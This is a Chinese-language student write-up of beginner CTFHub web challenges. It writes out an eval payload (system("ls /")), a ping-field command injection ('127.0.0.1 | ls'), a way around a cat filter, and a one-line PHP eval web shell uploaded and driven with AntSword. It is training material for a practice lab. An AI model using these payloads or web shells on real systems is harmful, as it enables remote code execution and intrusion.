1.GET
(1)打开题目会发现if(what=flag)就会出现flag
(2)于是我就在网址后面加入/?what=flag然后回车键就发现了flag真的感觉特别的神奇,虽然出现了两个flag但是是相同的没什么关系,这样就得出了flag
2.POST
(1)打开题目会发现这样一种题目,看着与刚才的get题型感觉很像,但是用get的做法似乎无法做出该题
(2)网上搜了一下post与get体型的区别
- GET:请求参数附加在URL之后,通过查询字符串(query string)的方式传递。这意味着参数会直接暴露在URL中,不适宜传输敏感信息1。
- POST:请求参数放在请求体(request body)中,不会在URL中显示,因此更适合传输大量或敏感数据1。
- 这就导致post无法直接执行url命令,最初也不知道有hack bark这个小工具,在看了别人wp之后才发现能够很轻松做出该题
于是点击execute即可输出flag
3.eval执行
(1)最开始看着这个其实还是不是很明白,注定还是积累太少了,于是看了哈别人的wp才知道eval()
会执行传入的任意代码,可以通过 cmd
作为参数执行任意 PHP 代码,这里相当于用cmd作为参数来执行url头命令。
(2)在url头输入命令cmd=system("ls /");打开该网页内的内容会发现flag_9931
(3)于是运用cat命令即可查看flag
4.命令注入
(1)打开题目说实话并看不怎么懂,只能尽力去看,看见ip于是将127.0.0.1输入并没什么影响,于是看哈别人的wp,才是到需要输入127.0.0.1 | ls才能查看所有的内容
(2)点击ping 会出现一些内容,其中【0】这一排显得比较特殊,发现的第二排出现index.php说明还是一个文件,于是用cat抓取命令【0】这一排,然后查看源代码会发现ctfhub
总结这个题其实一眼望去啥也不明白,在看了别人的wp才能稍微懂一点,但是最主要的还是自己的见识太少了,还得多学
5.过滤cat
(1)首先将题目打开会发现题目中不允许用cat命令执行查看而前面步骤与命令注入都是差不多的
虽然不能用cat命令,但是在搜索后发现还有其他字母能代替它的作用同样能起到差不多的作用
(2)于是我用tac试着代替cat
(3)然后点击ping,发现并没有ctfhub出现,于是查看源代码即可发现ctfhub
这个题重在考查没有cat命令后该如何从php中查看ctfhub,与cat起相似作用的还有tac nl 等等
6.无验证
(1)其实最开始也是毫无头绪,也不知道需要提交个啥子文件,在听了师兄讲座之后才知道用f12查看该网页的响应头,在网络一栏里面发现需要上传一个php的文件。
(2)于是我便下载了一个visual study code ,在桌面创了一个记事本然后写了一个最简单的木马,然后将txt格式转化为php格式
<?php @eval($_POST['cmd']);?>
(3)然后将文件上传会出现这样的结果,有个相对路径会出现,但是访问网页会出现空白,而并不是出现404的结果,说明该网页是能访问的,于是用蚁剑查看网页 (4)将网址输入到蚁剑中,然后挨着寻找ctftub,多点耐心就好了,一会儿就找到了
总体来说这个题对我难度还是挺大的,在师兄讲过之后确实会顿悟不少,我会更加的珍惜这些机会的